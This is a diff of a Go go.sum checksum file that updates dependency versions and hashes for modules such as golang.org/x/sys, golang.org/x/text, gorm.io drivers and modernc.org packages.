golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
|
||||
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
@@ -439,7 +431,6 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
@@ -461,12 +452,11 @@ golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -474,11 +464,8 @@ golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -486,11 +473,9 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -498,9 +483,7 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -511,8 +494,9 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec h1:BkDtF2Ih9xZ7le9ndzTA7KJow28VbQW3odyk/8drmuI=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
@@ -524,8 +508,9 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -542,19 +527,16 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
|
||||
@@ -606,173 +588,58 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b h1:QRR6H1YWRnHb4Y/HeNFCTJLFVxaq6wH4YuVdsUOr75U=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
|
||||
gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.3.10 h1:Fsd+pQpFMGlGxxVMUPJhNo8gG8B1lKtk8QQ4/VZZAJw=
|
||||
gorm.io/driver/postgres v1.3.10/go.mod h1:whNfh5WhhHs96honoLjBAMwJGYEuA3m1hvgUbNXhPCw=
|
||||
gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
|
||||
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
|
||||
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/driver/mysql v1.4.3 h1:/JhWJhO2v17d8hjApTltKNADm7K7YI2ogkR7avJUL3k=
|
||||
gorm.io/driver/mysql v1.4.3/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.4.5 h1:mTeXTTtHAgnS9PgmhN2YeUbazYpLhUI1doLnw42XUZc=
|
||||
gorm.io/driver/postgres v1.4.5/go.mod h1:GKNQYSJ14qvWkvPwXljMGehpKrhlDNsqYRr5HnYGncg=
|
||||
gorm.io/driver/sqlite v1.4.3 h1:HBBcZSDnWi5BW3B3rwvVTc510KGkBkexlOg0QrmLUuU=
|
||||
gorm.io/driver/sqlite v1.4.3/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.9 h1:NSHG021i+MCznokeXR3udGaNyFyBQJW8MbjrJMVCfGw=
|
||||
gorm.io/gorm v1.23.9/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755 h1:7AdrbfcvKnzejfqP5g37fdSZOXH/JvaPIzBIHTOqXKk=
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
|
||||
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.24 h1:vlCqjhVwX15t1uwlMPpOpNRC7JTjMZ9lT9DYHKQTFuA=
|
||||
modernc.org/cc/v3 v3.35.24/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=
|
||||
modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
|
||||
modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
|
||||
modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
|
||||
modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
|
